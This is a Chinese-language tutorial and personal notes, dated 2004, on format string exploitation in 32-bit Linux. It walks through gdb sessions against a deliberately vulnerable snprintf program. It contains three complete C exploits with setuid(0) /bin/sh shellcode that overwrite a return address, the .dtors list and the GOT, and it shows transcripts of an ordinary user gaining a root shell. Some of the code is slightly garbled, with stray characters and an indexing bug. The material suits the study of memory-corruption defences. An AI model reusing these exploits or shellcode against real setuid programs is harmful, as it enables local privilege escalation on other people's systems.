格式化字符串***筆記

No.1  [+== 格式化字符串***筆記 ==+]
[+== 格式化字符串***筆記 ==+]


[-== By Bytes[at]ph4nt0m.net ==-]

[#== HP: [url]http://www.ph4nt0m.net/[/url] ==#]

[data]:2004-03-01 ^_^

+\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\+

{0x01}.關於本文.

學習format strings attacking技術已經有一段時間了,期間作過屢次筆記,但因爲一些緣由都比較凌
亂.最近上網成了難題,反而有時間認真的回顧一下(P.S.想學點東西,還真得少上網,上多了容易浮躁:),寫下
此文,僅供往後本身參閱及方便和我同樣的入門者.
閱讀此文你必須有c/c++/asm語言基礎,少量關於堆棧的知識.這將有助於你對於此文的理解.
因爲本人水平有限,錯誤之處不免,還請不吝指出,頓首做謝:P

測試平臺:Redhat 8.0
gcc version 3.2 20020903(Red Hat Linux 8.0 3.2-7)

{0x02}.背景知識.

Section[1].堆棧知識.
關於堆棧是一個抽象的概念,一般是內存中一個存儲動態數據的區域.一般他是在內存的高端的.他的特
性就是咱們常說的,後進先出.對於一個被調用的函數,首先被壓入堆棧的是它的參數,而後是EIP中的內容(常
說的RET),接着壓入EBP,EBP一般指向棧底,而後把當前的ESP拷貝到EBP,最後ESP減去一個整數,這樣堆棧就
被擴大了.關於堆棧細節請查閱其餘文獻.

附圖示:

| EBP | EIP | arg...| data |...| EBP | EIP|


Section[2].漏洞成因.
此問題牽扯到*printf系列函數的兩個主要特性:
(1)參數個數沒法肯定.
在咱們使用*printf系列函數的時候,參數的個數天然是不固定的.好比咱們可能輸出5個數據,也可能輸
出三個,這個視具體狀況而定.正常狀況下,咱們輸出5個數據的時候天然也對應地給出五個格式化說明符.如
果格式化說明符,和須要輸出的相應數據一一對應,天然也就不存在格式化字符串***的問題.但若是出現如
下狀況:
int x=2,y=3;
char *s="BBBB";
printf("x=%d y=%d s=%s %s",x,y,s);
這時候,就存在了格式化字符串的問題,總結一下,也就是當格式化說明符個數和待輸出變量不對應的時候就
存在格式化字符串問題.
(2)%n格式符容許寫入指定數據.
上面提到的例子基本上只能作到偷窺堆棧中數據,瞭解堆棧結構的目的.而和利用格式化字符串漏洞***
仍是有必定距離的,由於只能作"傳說"中的read anywhere是沒法改變程序流程的,不改變程序流程,就沒法
讓程序按照咱們的意願執行下去.:)
可是很幸運*printf的%n格式化說明符它容許向後面一個存儲單元寫入前面輸出數據的總長度,那麼只
要前面輸出數據的長度(這個長度的控制能夠利用格式化說明符的特性,好比%.200d,這樣咱們就能夠控制輸
出數據長度爲200了,想象一下若是咱們用%f.呢?嗬嗬,堆棧地址當然很大,可是咱們應該能夠構造足夠的
%f....用來到達咱們須要改寫的存儲單元)等於咱們須要程序跳轉到的那個地址(一般是shellcode+nop的區
域),而%n恰到好處的將這一地址寫入適當位置,那麼咱們就能夠按照咱們的意願改變程序流程了.:)
不過這裏有一點須要注意,若是格式化字符串***時覆蓋函數的返回地址,那麼實際上咱們是去覆蓋存儲
這個函數返回地址的那塊存儲空間.也就是說咱們是間接的覆蓋.這一點很重要,不能混淆.回想一下C語言的指
針.:)

{0x03}.漏洞利用.

目前比較經常使用的利用方法:
1)覆蓋函數返回地址.
2)覆蓋.dtors list
3)覆蓋GOT
4)Return into libc

固然還有其餘的一些方法,但由於我我的感受通用性略有不足,因此留待下次寫補充的時候再詳細寫入筆記吧.

本文采用的一個存在問題的程序:(Thax:www417)

/*
fvul2.c:
Simple format strings Vulnerability program of snprintf
*/
#include

int main(int argc, char **argv)
{
char buf[100];
int x;
snprintf(buf,sizeof(buf),argv[1]);
buf[sizeof(buf)-1] = 0;
printf("buffer (%d):%s\n", strlen(buf), buf);
printf("x is %d hex is %#x (@ %p)\n", x, x, &x);
M return 0;
}


1)覆蓋函數返回地址.

格式化字符串***中覆蓋函數返回地址一般有兩種選擇:1.覆蓋臨近的一個函數(調用該函數的函數)的
返回地址.2.覆蓋*printf()系列函數自身的返回地址.在這個例子中,兩種方式都做了簡單分析,而且給出覆
蓋*prinf()系列函數自身返回地址的Exploit,這樣當這個函數執行完畢返回的時候,就能夠按照咱們的意願
改變程序的流程了.使用這種技術的時候咱們須要知道如下幾個信息:
1.堆棧中存儲函數的返回地址的那個存儲單元的地址.
2.shellcode的地址

寫入的時候,因爲不可能一次性的將2的地址寫入1,咱們只能分兩次來寫.調試以下:

1.該例中爲覆蓋main()返回地址:
[root@Bytes-WorkStation t2]# gdb -q fvul2 #加載存在問題的程序
(gdb) b *main #main函數處設置斷點
Breakpoint 1 at 0x804838c
(gdb) x/i main
0x804838c
: push %ebp
(gdb) r BBBB
Starting program: /root/test/Bytes-Attack-Lab/format/t2/fvul2 BBBB

Breakpoint 1, 0x0804838c in main ()
(gdb) x/wx $esp
0xbffff92c: 0x420158d4 #main函數返回地址存放在0xbffff92c處(正常狀況下).這個
#地址裏面存儲的內容也就是咱們想要改寫的.
(gdb)

依據上面闡述的原理,咱們利用精心構造的格式化說明符將shellcode的地址寫入0xbffff92c,當main返回時
咱們的shellcode即可以執行.

2.覆蓋*printf()系列函數自身的返回地址:
相較上面的利用方法,該利用方法具備更高的精確度,且即使是在條件至關苛刻的狀況下也可使用.

[root@Bytes-WorkStation t2]# gdb -q fvul2
(gdb) disass main
Dump of assembler code for function main:
0x804838c
: push %ebp
0x804838d : mov %esp,%ebp
0x804838f : sub $0x88,%esp
0x8048395 : and $0xfffffff0,%esp
0x8048398 : mov $0x0,%eax
0x804839d : sub %eax,%esp
0x804839f : sub $0x4,%esp
0x80483a2 : mov 0xc(%ebp),%eax
0x80483a5 : add $0x4,%eax
0x80483a8 : pushl (%eax)
0x80483aa : push $0x64
0x80483ac : lea 0xffffff88(%ebp),%eax
0x80483af : push %eax
0x80483b0 : call 0x80482cc
0x80483b5 : add $0x10,%esp #<---返回地址
0x80483b8 : movb $0x0,0xffffffeb(%ebp)
0x80483bc : sub $0x4,%esp
0x80483bf : lea 0xffffff88(%ebp),%eax
0x80483c2 : push %eax
0x80483c3 : sub $0x4,%esp
0x80483c6 : lea 0xffffff88(%ebp),%eax
0x80483c9 : push %eax
---Type to continue, or q to quit---
0x80483ca : call 0x804829c
0x80483cf : add $0x8,%esp
0x80483d2 : push %eax
0x80483d3 : push $0x8048448
0x80483d8 : call 0x80482bc
0x80483dd : add $0x10,%esp
0x80483e0 : lea 0xffffff84(%ebp),%eax
0x80483e3 : push %eax
0x80483e4 : pushl 0xffffff84(%ebp)
0x80483e7 : pushl 0xffffff84(%ebp)
0x80483ea : push $0x8048457
0x80483ef : call 0x80482bc
0x80483f4 : add $0x10,%esp
0x80483f7 : mov $0x0,%eax
0x80483fc : leave
0x80483fd : ret
0x80483fe : nop
0x80483ff : nop
End of assembler dump.
(gdb)
(gdb) b *0x80483b0 #<---snprintf入口地址
Breakpoint 1 at 0x80483b0
(gdb) r BBBB
Starting program: /root/test/Bytes-Attack-Lab/format/t2/fvul2 BBBB

Breakpoint 1, 0x080483b0 in main ()
(gdb) i reg $eax $esp $ebp
eax 0xbffff8b0 -1073743696
esp 0xbffff890 0xbffff890
ebp 0xbffff928 0xbffff928
(gdb) x/20x 0xbffff870
0xbffff870: 0x4000a01f 0x40012d74 0x00000000 0x0177ff8e
0xbffff880: 0xbffff920 0x400126e0 0x00000000 0x00000000 #<--- ***
0xbffff890: 0xbffff8b0 0x00000064 0xbffffab3 0x00000000
0xbffff8a0: 0x4212a364 0x00000369 0x4200dbb3 0x420069e8
0xbffff8b0: 0x4212a2d0 0xbffffa87 0xbffff974 0xbffff8f4
(gdb) si
0x080482cc in snprintf ()
(gdb) x/8x 0xbffff870
0xbffff870: 0x4000a01f 0x40012d74 0x00000000 0x0177ff8e
0xbffff880: 0xbffff920 0x400126e0 0x00000000 0x080483b5 #<---上面"***"處已經變爲 0x080483b5
(gdb) x/wx 0xbffff88c
0xbffff88c: 0x080483b5
(gdb)

也就是說0xbffff880+c=0xbffff88c是存放snprintf返回地址的地方.固然咱們能夠更直白一些:
[root@Bytes-WorkStation t2]# gdb -q fvul2
(gdb) x/i snprintf
0x80482cc : jmp *0x8049578
(gdb) b *0x80482cc
Breakpoint 1 at 0x80482cc
(gdb) r BBBB
Starting program: /root/test/Bytes-Attack-Lab/format/t2/fvul2 BBBB

Breakpoint 1, 0x080482cc in snprintf ()
(gdb) x/wx $esp
0xbffff88c: 0x080483b5 #<---snprintf的返回地址

大蝦alert7總結過一個計算Linux平臺*printf()自身返回地址的公式:返回地址 = 格式化字符串地址 - 垃圾數據個數 * 4 - 8.
由此不可貴出exploit,下面給出個人exploit模板:
/*
exp1.c

Exploit:
for fvul2.c
Coder:
Bytes[at]ph4nt0m.net
Thax alert7'code.^_^
Notice:
rewrite snprintf() ret_addr.
*/
#include
#include

#define NOP 0x90
#define BUF_S 2048
#define want_to_w_addr 0xbffff88c
//#define shellcode_addr 0xbffff950

/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";


int main(void){

char buffer[BUF_S],Buffer[BUF_S * 2],*p;
unsigned Use_addr;
int i,j,ret_1,ret_2;

Use_addr = want_to_w_addr +100;
ret_1 = (Use_addr >> 16) & 0xffff;
ret_2 = (Use_addr >> 0) & 0xffff;
/*因爲咱們不能一次將地址寫入,因此咱們只能分開兩部分寫入.*/
memset(buffer,NOP,sizeof(buffer));
memset(buffer,'B',4);
for(i=0;i < 4;i++){
buffer[i+4] = ((want_to_w_addr+2) >> (i * 8))`& 0xff;
}

memset(buffer,'B',4);
for(j=0;j < 4;j++){
buffer[i+4+j] = ((want_to_w_addr) >> (i * 8)) & 0xff;
}
p = &buffer[8];

if(ret_1 < ret_2){

sprintf(p,"%%.%ud%%6$hn%%.%ud%%7$hn",ret_1 - 8,ret_2 - ret_1);
}else{
sprintf(p,"%%.%ud%%6$hn%%.%ud%%7$hn",ret_2 - 8,ret_1 - ret_2);
}
sprintf(Buffer,"%s%s",buffer,shellcode);
execle("./fvul2","fvul2",Buffer, NULL,NULL);
}


下面咱們來看看結果
[root@Bytes-WorkStation t2]# gcc -o exp1 exp1.c
[root@Bytes-WorkStation t2]# ./exp1
Segmentation fault

呼呼,目標程序因爲段錯誤掛掉了,回頭仔細想一想到底是什麼緣由呢?看過alert7前輩<<利用格式化串覆蓋*printf()系列函數自己的返回地址>>一文的朋
友必定會想到多是execle()函數在做怪,但這裏其實不只僅是那個緣由,個人exp犯了一個原則性的錯誤,細心的話應該注意到,本文所使用的那個存在漏
洞的例程的:char buf[100];這個地方,而咱們的exp中,構造的buffer卻要比這個大許多,這樣致使了stack溢出,天然就不能讓程序正常執行下去了,呼
呼,實際上,實戰狀態下大多數狀況目標程序是沒有那麼大的地方容許咱們放置咱們傳遞的buffer的,不是目標程序buffer大小的問題,而是一般會對輸入
的數據進行一些檢測.這裏提一個技巧,即對於本地format string能夠把shellcode放去環境變量,稍微改動上面的程序就能夠了.exp.c就不貼出來了.
但願看到這個文檔的朋友本身動手試試看---small buffer format string attacking...外面的資料也不少.



2)覆蓋.dtors list
若是你還不明白什麼是ELF的.dtors的話,那麼我建議你仔細的閱讀有關ELF文件格式的文檔.你能夠在網絡中搜索到不少.這裏僅就相關內容簡單的提
一下.實際上.dtors的做用一句話就能夠表述出來(細節固然也並不是這麼簡單),也就是該表中的內容將在main返回的時候被執行.固然咱們利用format
string漏洞進行***rewrite的是內存映像的.dtors(或許這麼表達不是很準確,但也就這個意思).
默認編譯的ELF文件都是有這個字段的,除非被strip去掉了.因此這個方法仍是更爲行之有效的.***過程的思路很簡單,就是利用format string漏洞
write to anywhere的特色,直接把咱們shellcode的地址寫入.dtors,"shellcode的地址"能夠是一個有效的範圍,咱們的shellcode位於其中,而後用
NOP填充滿,這樣能夠有效的提升精確度,而且能夠考慮把shellcode放入環境變量,這樣精度更高,且限制更少.:)


[root@Bytes-WorkStation t2]# objdump -s -j .dtors fvul2

fvul2: file format elf32-i386

Contents of section .dtors:
8049554 ffffffff 00000000 ........

咱們能夠看到.dtors list 入口地址爲:0x8049554,咱們須要覆蓋的就是0xffffffff所佔據的存儲單元,也就是0x8049554+4 = 0x8049558這個地址.
由此給出個人Exploit模版:



/*
exp2.c

Exploit:
for fvul2.c
Coder:
Bytes[at]ph4nt0m.net

Notice:
rewrite .dtors.
put shellcode into environment variabel
*/
#include
#include

#define NOP 0x90
#define BUF_S 2048
#define want_to_w_addr 0x8049558 /* .dtors addr = 0x8049554+4 */
#define shellcode_addr 0xbffff8d0 /* shellcode address: 這個和Stack溢出的一個處理方法同樣,我是把它放到環境變量裏面的,我感受這樣子

成功率會高一點,這個地址能夠沒必要太準確,猜個大體就能夠了,理論上你把Buffer定義越大,這個地址越能夠不許確,嘿嘿^_^*/



/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";




int main(void){

char buffer[256];
char buffer_egg[BUF_S];
unsigned low_ret,high_ret,i;
char dec_1,dec_2;
char addr[4];

addr[0] = (want_to_w_addr & 0xff000000) >> 24;
addr[1] = (want_to_w_addr & 0x00ff0000) >> 16;
addr[2] = (want_to_w_addr & 0x0000ff00) >> 8;
addr[3] = (want_to_w_addr & 0x000000ff);

high_ret = (shellcode_addr & 0xffff0000) >> 16;
low_ret = (shellcode_addr & 0x0000ffff);

memset(buffer,0x42,256);
//memset(buffer_egg,0x42,BUF_S);

memset(buffer_egg,NOP,BUF_S - strlen(shellcode));
memcpy (buffer_egg + BUF_S - strlen(shellcode) - 1,shellcode,strlen(shellcode));

if(high_ret < low_ret) {
sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +

2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],high_ret - 8,low_ret - high_ret);

}else{

sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +

2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],low_ret - 8,high_ret - low_ret);
}
/*裏面關於垃圾數據的長度可能須要更改*/
buffer_egg[BUF_S-1]=0x00;
memcpy(buffer_egg,"Bytes2lu=",9);
putenv(buffer_egg);
execl("./fvul2","fvul2",buffer,NULL);
}


測試一下:
[root@Bytes-WorkStation t2]# gcc -o exp2 exp2.c
[root@Bytes-WorkStation t2]# su Bytes
[Bytes@Bytes-WorkStation t2]$ id
uid=501(Bytes) gid=501(Bytes) groups=501(Bytes)
[Bytes@Bytes-WorkStation t2]$ ./exp2
buffer(99):Z?X?0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
x is 1107323368 hex is 0x420069e8(@ 0xbffff0bc)
sh-2.05b# id
uid=0(root) gid=501(Bytes) groups=501(Bytes)
sh-2.05b# exit
exit

成功了,a rootshell.:)


3)覆蓋GOT
若是你還不明白什麼是ELF的GOT的話,那麼我建議你仔細的閱讀有關ELF文件格式的文檔.你能夠在網絡中搜索到不少.這裏僅就相關內容簡單的提
一下.GOT即global offset table全局偏移表,與PLT有着緊密的關聯.動態鏈接器並不會把動態庫函數在編譯的時候就包含到ELF文件中,僅僅是在這個
ELF被加載的時候,纔會把那些動態函庫數代碼加載進來,以前系統只會在ELF文件中的GOT中保留一個調用地址.其餘相關細節請自行查閱相關文獻.
***思路已經很明顯了:

[root@Bytes-WorkStation t2]# objdump -R fvul2

fvul2: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804957c R_386_GLOB_DAT __gmon_start__
0804956c R_386_JUMP_SLOT strlen
08049570 R_386_JUMP_SLOT __libc_start_main
08049574 R_386_JUMP_SLOT printf
08049578 R_386_JUMP_SLOT snprintf

這裏我選擇覆蓋printf()在GOT中的地址也就是0x8049574.Exp則修改上面的exp2便可.


個人Exploit模版以下:

/*
exp3.c

Exploit:
for fvul2.c
Coder:
Bytes[at]ph4nt0m.net

Notice:
rewrite global offset table: &printf
put shellcode into environment variabel
*/
#include
#include

#define NOP 0x90
#define BUF_S 2048
#define want_to_w_addr 0x8049574 /* printf() GOT addr */
#define shellcode_addr 0xbffff8d0 /* shellcode address: 這個和Stack溢出的一個處理方法同樣,我是把它放到環境變量裏面的,我感受這樣子

成功率會高一點,這個地址能夠沒必要太準確,猜個大體就能夠了,理論上你把Buffer定義越大,這個地址越能夠不許確,嘿嘿^_^*/



/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";




int main(void){

char buffer[256];
char buffer_egg[BUF_S];
unsigned low_ret,high_ret,i;
char dec_1,dec_2;
char addr[4];

addr[0] = (want_to_w_addr & 0xff000000) >> 24;
addr[1] = (want_to_w_addr & 0x00ff0000) >> 16;
addr[2] = (want_to_w_addr & 0x0000ff00) >> 8;
addr[3] = (want_to_w_addr & 0x000000ff);

high_ret = (shellcode_addr & 0xffff0000) >> 16;
low_ret = (shellcode_addr & 0x0000ffff);

memset(buffer,0x42,256);
//memset(buffer_egg,0x42,BUF_S);

memset(buffer_egg,NOP,BUF_S - strlen(shellcode));
memcpy (buffer_egg + BUF_S - strlen(shellcode) - 1,shellcode,strlen(shellcode));

if(high_ret < low_ret) {
sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +

2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],high_ret - 8,low_ret - high_ret);

}else{

sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +

2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],low_ret - 8,high_ret - low_ret);
}
/*裏面關於垃圾數據的長度可能須要更改*/
buffer_egg[BUF_S-1]=0x00;
memcpy(buffer_egg,"Bytes2lu=",9);
putenv(buffer_egg);
execl("./fvul2","fvul2",buffer,NULL);
}


測試一下:
[root@Bytes-WorkStation t2]# gcc -o exp3 exp3.c
[root@Bytes-WorkStation t2]# su Bytes
[Bytes@Bytes-WorkStation t2]$ id
uid=501(Bytes) gid=501(Bytes) groups=501(Bytes)
[Bytes@Bytes-WorkStation t2]$ ./exp3
sh-2.05b# id
uid=0(root) gid=501(Bytes) groups=501(Bytes)
sh-2.05b# exit
exit

比較覆蓋.dtors的exp和覆蓋GOT的exp測試結果咱們能夠發現這兩種技術的不一樣之處,也就是獲取rootshell的"時機"(請原諒我含糊的表述:( )不一樣.具
體說來就是覆蓋.dtors的exp執行的時候,輸出爲:
buffer(99):Z?X?0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
x is 1107323368 hex is 0x420069e8(@ 0xbffff0bc)
sh-2.05b# id
這說明咱們的shell至少是在那兩條printf語句以後執行的,實質上是在main結束之後,這裏就體現了覆蓋.dtors的侷限性,以本文例程爲例,若是程序在
執行兩條printf()語句之後丟棄了root特權,那麼咱們是沒法獲得rootshell.而由覆蓋GOT的exp的輸出信息可知,因爲咱們選擇覆蓋printf在GOT中的
地址,程序試圖加載printf的代碼的時候,就"不幸"執行了咱們的shellcode,致使程序流程按照咱們的意願被改變(真正的printf並無被執行).由此看
來若是能夠覆蓋GOT,那麼覆蓋GOT則更有優點,由於咱們能夠儘量的選擇覆蓋程序丟棄root特權以前的函數位於GOT中的地址,這樣既即是程序中途丟棄
root特權,咱們依然能夠獲得rootshell.

_EOF


{0x04}.其它.

A.感謝:OYxin,Winewind,www417,Luz成文過程當中給予的幫助和鼓勵.特別感謝※上弦の月※×××幫我糾正了文中錯別字:P

B.附:
本來打算把4)Return into libc也寫入本篇筆記,可是考慮到Return into libc某些時候和繞過系統補丁***關聯密切,故留待下篇總結format
string***技巧,繞過系統補丁,經驗體會等等的筆記中再寫.


{0x05}.參考文獻:

< >En version
<<利用格式化串覆蓋*printf()系列函數自己的返回地址>>
< >En version
< >
< >EN version 以前閱讀過許許多多的文章,在此僅列出對我幫助最大的.抱歉.:)
相關文章
相關標籤/搜索